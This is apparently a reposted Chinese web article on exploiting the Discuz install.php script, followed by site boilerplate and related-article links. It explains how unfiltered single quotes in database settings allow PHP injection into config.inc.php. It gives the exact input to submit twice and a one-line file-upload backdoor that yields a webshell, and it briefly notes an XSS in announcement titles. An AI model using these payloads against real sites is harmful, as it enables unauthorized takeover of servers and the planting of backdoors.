鸡肋1:install.php由于preg_grep过滤不严存在安全漏洞,可以直接拿webshell
如果你万幸发现install.php存在,但还没创建数据库账号,或者得到了数据库账号拿不到shell的时候,可以看看这个。
install.php的339-412行中对变量configfile进行了如下过滤
$configfile = preg_replace("/[$]dbhosts*=s*[\"'].*?[\"']/is\", \"$dbhost = '$dbhost'\", $configfile);
$configfile = preg_replace(\"/[$]dbusers*=s*[\"'].*?[\"']/is\", \"$dbuser = '$dbuser'\", $configfile);
$configfile = preg_replace(\"/[$]dbpws*=s*[\"'].*?[\"']/is\", \"$dbpw = '$dbpw'\", $configfile);
............
意思是对$configfile文件中对$dbhost = ' '这样的匹配模式进行替换,这里并没有对单引号进行过滤,由于对主机,数据库名,密码等过滤规则是一样的,我们其中一个填写框中输入
a';?>
;------------(这是第一次提交)
然后保存,保存得到信息可能会错数据库连接出错,没有关系,因为discuz的安装配置文件是先写入再判断的,然后你查看一下config.inc.php,会出现
$dbhost = 'a';?>'
这样的格式。
我们回到上一步,再保存一次---------------------(这是第二次提交)
这时你会看到config.inc.php已经被破坏了,会出现
$dbhost = 'a';?>';?>';
这样的情况,但现在是却是一种
这样完整的匹配模式了.
那我们在?>前面加上我们的一句话后门,就可以得到一个webshell了。
例如写入:
a';copy($_FILES[myfile][tmp_name],$_FILES[myfile][name])?>
重复写入两次就可以通过install.php上传php后门了。
鸡肋2:后台的发公告的标题存在跨站漏洞。
0
0
相关文章
网页嵌入php链接失败文件不存在怎么找_网页嵌入php链接失败文件定位法【攻略】
HTML 表单字段命名最佳实践:兼顾语义性、安全性与框架兼容性
HTML 表单输入字段命名规范:数据库列名直用是否合理?
PHP扩展如何优化性能_PHP扩展性能优化技巧【建议】
phpstorm怎么打开php文件_phpstorm打开php文件设置步骤【教程】
本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
热门AI工具
相关专题
苹果官网入口直接访问
苹果官网直接访问入口是https://www.apple.com/cn/,该页面具备0.8秒首屏渲染、HTTP/3与Brotli加速、WebP+AVIF双格式图片、免登录浏览全参数等特性。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。
218
2025.12.24
热门下载
相关下载
精品课程
相关推荐
/
热门推荐
/
最新课程
最新Python教程 从入门到精通
共4课时 | 0.6万人学习
麻省理工大佬Python课程
共34课时 | 4.9万人学习
Swoole5 Hyperf3 php8新版本协程框架讲说
共37课时 | 1.7万人学习
最新文章









